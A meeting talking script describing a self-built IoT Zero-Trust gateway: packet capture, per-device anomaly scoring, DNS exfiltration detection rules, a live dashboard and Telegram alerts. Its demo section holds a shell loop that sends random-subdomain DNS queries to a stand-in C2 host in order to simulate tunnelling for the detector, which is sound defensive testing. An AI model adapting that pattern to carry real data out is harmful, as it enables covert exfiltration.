SDZTG — Meeting Talking Script

What I Built & How It Works

OPENING (30 seconds)

> "I'm building a Software-Defined Zero-Trust Gateway for commodity IoT devices. The core problem is that IoT devices — cameras, sensors, smart plugs — ship with no security. They can't run agents, can't do mutual TLS, can't protect themselves. My gateway sits inline between the device and the network and enforces Zero-Trust on their behalf. No changes to the device required."

WHAT I'VE BUILT SO FAR (2 minutes)

Phase 0 — Foundation

- Public GitHub repo: github.com/DeToKn/SDZTG-gateway
- Ubuntu Linux gateway machine set up with dual NIC
- Windows workstation connected via SSH for development
- Full project structure, pinned dependencies, lab topology documented

Phase 1 — Packet Capture

- Scapy captures every packet on the network interface in real time
- Parses: source/destination IP, MAC, port, protocol, size, timestamp
- Writes every packet to SQLite — one row per packet, indexed on MAC + timestamp
- 3 passing unit tests proving the parser works correctly

Phase 2 — Baseline Behavior Profiling

- Aggregates packets into 60-second windows per device
- Computes: packet rate, byte rate, distinct destination IPs, distinct ports
- Stores rolling mean + standard deviation per device in SQLite
- Currently tracking 4 devices with real variation in baselines

Phase 3 — Anomaly Score Engine

- Z-scores each feature against the device's baseline

- Combines into a single anomaly score between 0.0 and 1.0
- Green < 0.3 / Yellow 0.3–0.7 / Red > 0.7
- Tested live: traffic flood caused device score to spike to MEDIUM in real time

Phase 4 — DNS Exfiltration Detection

- Filters UDP port 53 traffic
- Detects three attack signatures:
  1. Subdomain labels longer than 40 characters (data encoding tell)
  2. Shannon entropy above 3.5 bits (randomness = encoded data)
  3. More than 10 distinct DNS destinations in 10 seconds (burst = tunneling)
- Simulated the lobby camera scenario from the paper — all 20 attack queries were caught and flagged in real time

Phase 5 — Real-Time WebSocket Dashboard

- Flask + Flask-SocketIO — no polling, true push updates
- Four live panels: Connected Devices, Anomaly Alerts, DNS Alerts, Traffic Feed
- Sub-2-second lag confirmed under stress test
- WAL mode SQLite for concurrent read/write performance

Phase 6 — Telegram + Webhook Alerts

- Telegram bot fires when anomaly score crosses threshold
- DNS exfiltration alert fires immediately when attack signatures trigger
- Generic webhook POST for future SIEM integration
- Tested end-to-end: attack triggered → phone buzzed in under 5 seconds

---

THE DEMO (show this live if you can)

1. Open dashboard at http://192.168.1.218:5000
2. Show connected devices panel — real devices on your network
3. Run the DNS attack in terminal:

```
for i in $(seq 1 20); do
  nslookup "$(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 50).evil-c2-server.com"
8.8.8.8
  sleep 0.3
done
```

4. Watch DNS alerts populate in real time on dashboard
5. Show phone — Telegram alert fires

WHAT'S NEXT (30 seconds)

> "The Traffic Anomaly Detector is a complete, standalone IDS.
> Next I'm building the Policy Engine — the Layer-2 bridge and nftables enforcement layer. That's what makes it a GATEWAY not just a monitor. When a device triggers an anomaly, instead of just alerting, the gateway will automatically quarantine it at the network level. That's the novelty claim — inline enforcement without touching the device."

IF THEY ASK ABOUT THE RL COMPONENT

> "The reinforcement learning policy core is a stretch goal. The gateway is fully functional with static rules alone — that's my safety net. The RL agent adds adaptive containment decisions and is pre-trained on public IoT datasets. Even if I only get shadow mode working — where the agent logs decisions without acting — that's a legitimate, defensible research result. I'm not betting the project on PPO convergence."

IF THEY ASK ABOUT SECURITY OF THE DASHBOARD

> "The current dashboard is read-only and local-network only. Authentication is a documented requirement under NFR9 and will be implemented before any enforcement controls are exposed through the interface. I have a security-notes.md in the repo documenting exactly what's needed and why the current state is an acceptable prototype trade-off."

IF THEY ASK HOW IT COMPARES TO ARMIS / CLAROTY

> "Armis and Claroty are monitoring and visibility platforms — they detect and report anomalies but don't inline-enforce Zero-Trust policies at the device's network boundary. They also require cloud connectivity and enterprise licensing. My gateway is self-contained, locally deployed, under $100 in hardware, and both monitors AND enforces. That gap is documented in the literature review."

KEY NUMBERS TO REMEMBER

- 6 phases completed
- 4 devices being monitored
- 3 DNS attack signatures detected
- Sub-2-second dashboard lag
- Under 5 seconds from attack to phone alert
- 3 passing unit tests
- 25+ commits in clean git history

Built in one session. All code at github.com/DeToKn/SDZTG-gateway